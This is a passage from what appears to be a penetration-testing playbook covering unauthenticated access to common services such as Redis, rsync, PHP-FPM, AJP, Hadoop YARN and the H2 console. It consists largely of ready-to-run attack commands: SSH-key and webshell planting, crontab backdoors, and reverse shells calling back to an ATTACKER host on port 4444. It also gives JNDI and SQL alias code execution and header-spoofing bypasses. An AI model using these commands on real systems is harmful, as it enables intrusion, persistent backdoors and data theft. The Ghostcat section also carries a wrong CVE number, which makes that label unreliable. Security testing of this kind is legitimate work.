echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

17. UNAUTHORIZED ACCESS TO COMMON SERVICES (PTES 4.1)

17.1 Service Discovery Matrix

nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached

17.2 Redis (Port 6379) — Write-to-RCE

# Detection
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config

# Write SSH Authorized Keys
ssh-keygen -t rsa -f redis_rsa
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
ssh -i redis_rsa root@TARGET

# Write Crontab (Reverse Shell)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

# Write Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id

# Master-Slave Replication RCE
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec

17.3 Rsync (Port 873) — Data Theft

# Detection
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

# Download entire module
rsync -av TARGET::MODULE_NAME /tmp/loot/

# Exploitation — Write Crontab
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor

17.4 PHP-FPM / FastCGI (Port 9000) — Code Execution

# Mechanism: PHP-FPM listens for FastCGI requests
# If exposed to network (instead of Unix socket), send crafted FastCGI packets

# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key FastCGI Environment Variables:
# SCRIPT_FILENAME = /var/www/html/index.php   (must point to existing .php file)
# PHP_VALUE = auto_prepend_file = php://input  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = allow_url_include = On     (enables remote inclusion)

# Via SSRF (gopher)
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi

17.5 Ghostcat — AJP (Port 8009) — CVE-2019-17564

# Mechanism: AJP trusts all incoming data
# Attacker connecting directly can set javax.servlet.include.request_uri

# File Read
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs

# File Include → RCE (if file upload exists)
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed

17.6 Hadoop YARN ResourceManager (Port 8088)

# Detection
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI

# RCE via Application Submission
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'

17.7 H2 Database Console (Port 8082)

# Detection — often enabled in Spring Boot apps:
# spring.h2.console.enabled=true
# spring.h2.console.settings.web-allow-others=true
# Access: http://TARGET:PORT/h2-console

# JNDI Injection via Connection String
# In the H2 Console login form, the JDBC URL field accepts JNDI:
# JDBC URL: javax.naming.InitialContext
# LDAP response attributes:
#   javaClassName: javax.el.ELProcessor
#   javaFactory: org.apache.naming.factory.BeanFactory
#   forceString: x=eval
#   x: Runtime.getRuntime().exec("id")

# RCE via RUNSCRIPT
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');

17.8 Reverse Proxy Misconfiguration

# Nginx Off-By-Slash Path Traversal
# Vulnerable configuration:
# location /static {
#     alias /var/www/static/;
# }
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# X-Forwarded-For / X-Real-IP Trust
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels

# Caddy Template Injection (Go template)
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template

18. Output Esperado desta Fase

1. Lista de hosts ativos (PTES 2.5.4.1)
2. Portas abertas por host (PTES 2.5.4.8)
3. Serviços identificados (PTES 2.5.4.7 - Banner Grabbing)
4. CDN/WAF detection (PTES 2.5.4)
5. Firewall rules mapeadas (com hping3)
6. HTTP injection points (com headi)
7. Network diagram com superfície de ataque
8. Vulnerability scan results (com Nettacker)
9. Admin panels descobertos (com Nettacker admin_scan)
10. CVE findings (com Nettacker vuln modules)
11. Subdomain enumeration results (crt.sh + fallback chain)
12. Asset graph com 29 tipos de assets e edge taxonomy
13. Origin servers descobertos (CDN/WAF bypass)
14. Email security posture (SPF/DMARC/DKIM/BIMI/MTA-ST

…(truncated)